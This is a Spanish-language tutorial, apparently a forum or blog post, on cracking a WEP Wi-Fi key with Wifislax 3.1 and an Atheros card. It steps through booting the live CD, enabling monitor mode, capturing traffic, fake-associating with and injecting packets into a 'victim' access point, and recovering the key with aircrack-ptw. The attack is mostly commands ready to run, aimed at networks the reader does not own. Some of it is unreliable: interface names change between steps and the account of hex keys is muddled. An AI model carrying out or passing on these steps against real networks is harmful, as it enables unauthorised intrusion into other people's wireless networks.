Auditar redes con Wifislax 3.1 con atheros AR5006EG

Requerimientos :





* WIFISLAX CON SOPORTE PARA WIRELESS ATHEROS :
* ALCOHOL 120%
* CD VIRGEN
* QUEMADOR DE CD
* SABER TU "MAC2




-0-


*¿Qué es Wifislax?

Wifislax es un CD de arranque que contiene al sistema operativo Linux. Puede hacer correr Linux directamente desde el CDROM sin instalación. Aunque lleva incorporado herramientas de instalación en el disco duro o en llaveros USB, o una emulación en Windows.


*¿Qué es Alcohol 120%?

Grabador de CD y DVD que también crea unidades virtuales”

Alcohol 120% es una utilidad capaz de grabar CD y DVD y que crea hasta 31 unidades virtuales. Estas unidades virtuales sirven para reproducir desde el disco duro como si tuvieses insertado el DVD o CD en cuestión.


Alcohol 120% realiza copias de CD a CD, crea imágenes* a disco duro, graba imágenes a CD/DVD, e incluye un buscador para localizar rápidamente las imágenes* que se encuentren en tu PC.

*imágenes: refiriéndose a archivos ISO, MDS, CCD, CUE, BWT y CDI (los tipos de imagen creados y usados por CloneCD, Nero Burning Rom y DiscJuggler entre otros además de varios estándar como el formato ISO)

* NOSOTROS Justamente vamos a crear una imagen.





y ahora?







PASOS:


1. Instalamos el acohol 120% y nos vamos a la opcion crear imagen, insertamos el archivo que descargamos 1ero ( wifislax con soprte atheros) y creamos la imagen en nuestro cd virgen.


2. Cuando el CD salga de nuestro pc es xq esta listo, lo volvemos a instertar y reiniciamos el pc, cuando lo reiniciemos vamos al menu de Booteo, generalmente son las teclas ; F8 F3 F11 O SUPRIMIR, nos metemos ahi y ponemos que el cd botee ( botee = que cargue , cargando, loading ) antes que el disco duro, es muy facil , no te compliques.


3. Si todo va bien, despues de 4 o 5 minutos Wifislax se ejecutara
te tendras que logear con lo sgte:

NOMBRE : "ROOT"
CONTRASEÑA : "TOOR"
sin las comillas

4. Ahora solo tipeas : STARTX

PD: EN LA MAYORIA DE LOS TUTORIALES DICEN QUE PONGAS IWCONFIG AL COMIENZO, ESTE NO ES EL CASO, YA QUE ESE COMANDO ACTIVA LOS DRIVERS, LO DIGO X EXPERIENCIA , ESTA "IMAGEN" YA ESTA CONFIGURADA CON DRIVERS, ATHEROS EN PARTICULAR.

5.Arranca Wifislax 3.1








--------------0------------------
TODO BIEN ?

OK







AHORA COMIENZA LA ACCION Y VIENEN LOS FAMOSOS COMANDOS

1. ABRIR LA SHELL, ( EL MS-DOS DE LINUX )

AHI PONES:

"iwconfig" que es para ver si linux detecta tu tarjeta wireless

a mi, Linux me muestra mi wireless como "eth0" y me basara en eso:

2. EN LA MISMA SHELL O KONSOLA

AHI PONES:

"airmon-ng stop eth0" DESTRUIMOS LA CONFIGURACION X DEFECTO

DESPUES

"airmon-ng start wifi0 6" CON ESTO PONEMOS MONO MONITOR ( QUE SIN MODO MONITOR NO SE PUEDE SACAR LAS WAPS O WEPS)


EL NUMERO 6 QUIERE DECIR QUE LA ABRIRA EN EL CANAL 6

PERO TU LA PUEDES CAMBIAR AL CANAL Q NECESITAS

3.
"airodump-ng -w NOMBRE -c6 eth0"

-c6: indica el canal a escanear, es super importante poner el canal bien
ejemplo: si el canal fuera 11, kedaria asi: -c11

NOMBRE: coloca cualkier nombre pero anotalo xq si todo sale bien despues lo necesitas colocar en un comando


4."aireplay-ng -1 30 -e XXXX -a MACV -h MACC eth0"

Ahora se explica el comando:

XXXX - Aquí va el ESSID de tu victima
MACV - Aquí va la dirección MAC de tu víctima
MACC - Aquí debes introducir la dirección MAC de tu wlan.
Quedaría más o menos así:

"aireplay-ng -1 30 -e CASA356 -a 00:00:00:00:00 -h 00:00:00:01 eth0"


Con esto tu tarjeta quedará asociada con el punto de acceso víctima
PD: ESTO ES LO MAS IMPORTANTE!
SI NO TE DICE SUCEFULL REVISA TODO





.



5. Ahora empezaremos a inyectar paquetes usando el siguiente comando:

aireplay-ng -3 -x600 -b MACV -h MACC eth0

(En este momento ya debes saber donde vas a sustituir y con que):

Quedaría más o menos así:
aireplay-ng -3 -x600 -b 00:00:00:00:00 -h 00:00:00:00:01 ath0


Después de esto los paquetes empezarán a ser enviados.
Después de sobrepasados los 100,000 paquetes enviados se procede a obtener la clave:

algunas veces tienes q tener un millon


6.Abres una nueva consola y escribes lo siguiente:

aircrack-ptw NOMBRE-01.cap (Aquí se utiliza el nombre de archivo que especificamos casi al principio al correr el airodump más el -01 o cualquier otro número -02, -03 etc...)


7.Apuntas la clave WEP y listo.


NOTA: EN MI CASO LA MAC QUE ME TIRABA WINDOWS DE MI TARJETA NO ERA LA MISMA EN LINUX
EN LINUX ME LA CAMBIABA 01 DIGITO.

TB , A LOS USUARIOS QUE LES DEN CLAVE CON DÍGITOS RAROS , COPIEN ESA CLAVE, ESA ES LA CLAVE,SOLO COPIA Y PEGALA. ¿POR QUE? PORQUE ESTA EN OTRO LENGUAJE, ESE LENGUAJE FUNCIONA ASI:

1 = AS , que kiere decir q un numero o letra "Normal", son 2 letras para ese lenguaje computacional, según esto, casi siempre son de 10 digitos.





Paciencia Foxes!

Cuando lo logren , saldra una mina x la pantalla

Mi Blog :

http://twitter.com/#!/danielesv [/align]